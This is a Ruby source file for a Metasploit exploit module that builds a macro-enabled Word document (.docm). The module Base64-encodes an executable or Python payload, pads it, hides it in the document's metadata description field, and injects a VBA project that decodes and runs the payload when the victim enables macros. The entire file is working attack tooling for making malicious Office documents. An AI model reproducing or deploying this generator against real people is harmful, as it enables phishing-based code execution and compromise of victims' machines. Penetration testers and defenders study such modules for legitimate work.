##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/zip'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::EXE

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Microsoft Office Word Malicious Macro Execution",
      'Description'    => %q{
        This module injects a malicious macro into a Microsoft Office Word document (docx). The
        comments field in the metadata is injected with a Base64 encoded payload, which will be
        decoded by the macro and execute as a Windows executable.

        For a successful attack, the victim is required to manually enable macro execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'sinn3r' # Metasploit
        ],
      'References'     =>
        [
          ['URL', 'https://en.wikipedia.org/wiki/Macro_virus']
        ],
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'thread',
          'DisablePayloadHandler' => true
        },
      'Targets'        =>
        [
          [
            'Microsoft Office Word on Windows',
            {
              'Platform' => 'win',
            }
          ],
          [
            'Microsoft Office Word on Mac OS X (Python)',
            {
              'Platform' => 'python',
              'Arch' => ARCH_PYTHON
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2012-01-10'
    ))

    register_options([
      OptPath.new("CUSTOMTEMPLATE", [false, 'A docx file that will be used as a template to build the exploit']),
      OptString.new('FILENAME', [true, 'The Office document macro file (docm)', 'msf.docm'])
    ])
  end

  def get_file_in_docx(fname)
    i = @docx.find_index { |item| item[:fname] == fname }

    unless i
      fail_with(Failure::NotFound, "This template cannot be used because it is missing: #{fname}")
    end

    @docx.fetch(i)[:data]
  end

  def add_content_type_extension(extension, content_type)
    if has_content_type_extension?(extension)
      update_content_type("Types//Default[@Extension=\"#{extension}\"]", 'ContentType', content_type)
    else
      xml = get_file_in_docx('[Content_Types].xml')
      types_node = xml.at('Types')

      unless types_node
        fail_with(Failure::NotFound, '[Content_Types].xml is missing the Types node.')
      end

      child_data = "<Default Extension=\"#{extension}\" ContentType=\"#{content_type}\"/>"
      types_node.add_child(child_data)
    end
  end

  def has_content_type_extension?(extension)
    xml = get_file_in_docx('[Content_Types].xml')
    xml.at("Types//Default[@Extension=\"#{extension}\"]") ? true : false
  end

  def add_content_type_partname(part_name, content_type)
    ctype_xml = get_file_in_docx('[Content_Types].xml')
    types_node = ctype_xml.at('Types')

    unless types_node
      fail_with(Failure::NotFound, '[Content_Types].xml is missing the Types node.')
    end

    child_data = "<Override PartName=\"#{part_name}\" ContentType=\"#{content_type}\"/>"
    types_node.add_child(child_data)
  end

  def update_content_type(pattern, attribute, new_value)
    ctype_xml = get_file_in_docx('[Content_Types].xml')
    doc_xml_ctype_node = ctype_xml.at(pattern)
    if doc_xml_ctype_node
      doc_xml_ctype_node.attributes[attribute].value = new_value
    end
  end

  def add_rels_relationship(type, target)
    rels_xml = get_file_in_docx('_rels/.rels')
    relationships_node = rels_xml.at('Relationships')

    unless relationships_node
      fail_with(Failure::NotFound, '_rels/.rels is missing the Relationships node')
    end

    last_index = get_last_relationship_index_from_rels
    relationships_node.add_child("<Relationship Id=\"rId#{last_index+1}\" Type=\"#{type}\" Target=\"#{target}\"/>")
  end

  def add_doc_relationship(type, target)
    rels_xml = get_file_in_docx('word/_rels/document.xml.rels')
    relationships_node = rels_xml.at('Relationships')

    unless relationships_node
      fail_with(Failure::NotFound, 'word/_rels/document.xml.rels is missing the Relationships node.')
    end

    last_index = get_last_relationship_index_from_doc_rels
    relationships_node.add_child("<Relationship Id=\"rId#{last_index+1}\" Type=\"#{type}\" Target=\"#{target}\"/>")
  end

  def get_last_relationship_index_from_rels
    rels_xml = get_file_in_docx('_rels/.rels')
    relationships_node = rels_xml.at('Relationships')

    unless relationships_node
      fail_with(Failure::NotFound, '_rels/.rels is missing the Relationships node')
    end

    relationships_node.search('Relationship').collect { |n|
      n.attributes['Id'].value.scan(/(\d+)/).flatten.first.to_i
    }.max
  end

  def get_last_relationship_index_from_doc_rels
    rels_xml = get_file_in_docx('word/_rels/document.xml.rels')
    relationships_node = rels_xml.at('Relationships')

    unless relationships_node
      fail_with(Failure::NotFound, 'word/_rels/document.xml.rels is missing the Relationships node')
    end

    relationships_node.search('Relationship').collect { |n|
      n.attributes['Id'].value.scan(/(\d+)/).flatten.first.to_i
    }.max
  end

  def inject_macro
    add_content_type_extension('bin', 'application/vnd.ms-office.vbaProject')
    add_content_type_partname('/word/vbaData.xml', 'application/vnd.ms-word.vbaData+xml')

    pattern = 'Override[@PartName="/word/document.xml"]'
    attribute_name = 'ContentType'
    scheme = 'application/vnd.ms-word.document.macroEnabled.main+xml'
    update_content_type(pattern, attribute_name, scheme)

    scheme = 'http://schemas.microsoft.com/office/2006/relationships/vbaProject'
    fname = 'vbaProject.bin'
    add_doc_relationship(scheme, fname)

    @docx << { fname: 'word/vbaData.xml', data: get_vbadata_xml }
    @docx << { fname: 'word/_rels/vbaProject.bin.rels', data: get_vbaproject_bin_rels}
    @docx << { fname: 'word/vbaProject.bin', data: get_vbaproject_bin}
  end

  def get_vbadata_xml
    File.read(File.join(macro_resource_directory, 'vbaData.xml'))
  end

  def get_vbaproject_bin_rels
    File.binread(File.join(macro_resource_directory, 'vbaProject.bin.rels'))
  end

  def get_vbaproject_bin
    File.binread(File.join(macro_resource_directory, 'vbaProject.bin'))
  end

  def get_core_xml
    File.read(File.join(macro_resource_directory, 'core.xml'))
  end

  def create_core_xml_file
    add_content_type_partname('/docProps/core.xml', 'application/vnd.openxmlformats-package.core-properties+xml')
    add_rels_relationship('http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties', 'docProps/core.xml')
    @docx << { fname: 'docProps/core.xml', data: Nokogiri::XML(get_core_xml) }
  end

  def inject_payload
    p  = padding = ' ' * 55
    p << Rex::Text.encode_base64(target.name =~ /Python/i ? payload.encoded : generate_payload_exe)

    begin
      core_xml = get_file_in_docx('docProps/core.xml')
    rescue Msf::Exploit::Failed
    end

    unless core_xml
      print_status('Missing docProps/core.xml to inject the payload to. Using the default one.')
      create_core_xml_file
      core_xml = get_file_in_docx('docProps/core.xml')
    end

    description_node = core_xml.at('//cp:coreProperties//dc:description')
    description_node.content = p
  end

  def unpack_docx(template_path)
    doc = []

    Zip::File.open(template_path) do |entries|
      entries.each do |entry|
        if entry.name.match(/\.xml|\.rels$/i)
          content = Nokogiri::XML(entry.get_input_stream.read)
        else
          content = entry.get_input_stream.read
        end

        vprint_status("Parsing item from template: #{entry.name}")

        doc << { fname: entry.name, data: content }
      end
    end

    doc
  end

  def pack_docm
    @docx.each do |entry|
      if entry[:data].kind_of?(Nokogiri::XML::Document)
        entry[:data] = entry[:data].to_s
      end
    end

    Msf::Util::EXE.to_zip(@docx)
  end

  def macro_resource_directory
    @macro_resource_directory ||= File.join(Msf::Config.install_root, 'data', 'exploits', 'office_word_macro')
  end

  def get_template_path
    if datastore['CUSTOMTEMPLATE']
      datastore['CUSTOMTEMPLATE']
    else
      File.join(macro_resource_directory, 'template.docx')
    end
  end

  def exploit
    template_path = get_template_path

    unless File.extname(template_path).match(/\.docx$/i)
      fail_with(Failure::BadConfig, 'Template is not a docx file.')
    end

    print_status("Using template: #{template_path}")
    @docx = unpack_docx(template_path)

    print_status('Injecting payload in document comments')
    inject_payload

    print_status('Injecting macro and other required files in document')
    inject_macro

    print_status("Finalizing docm: #{datastore['FILENAME']}")
    docm = pack_docm
    file_create(docm)
  end
end
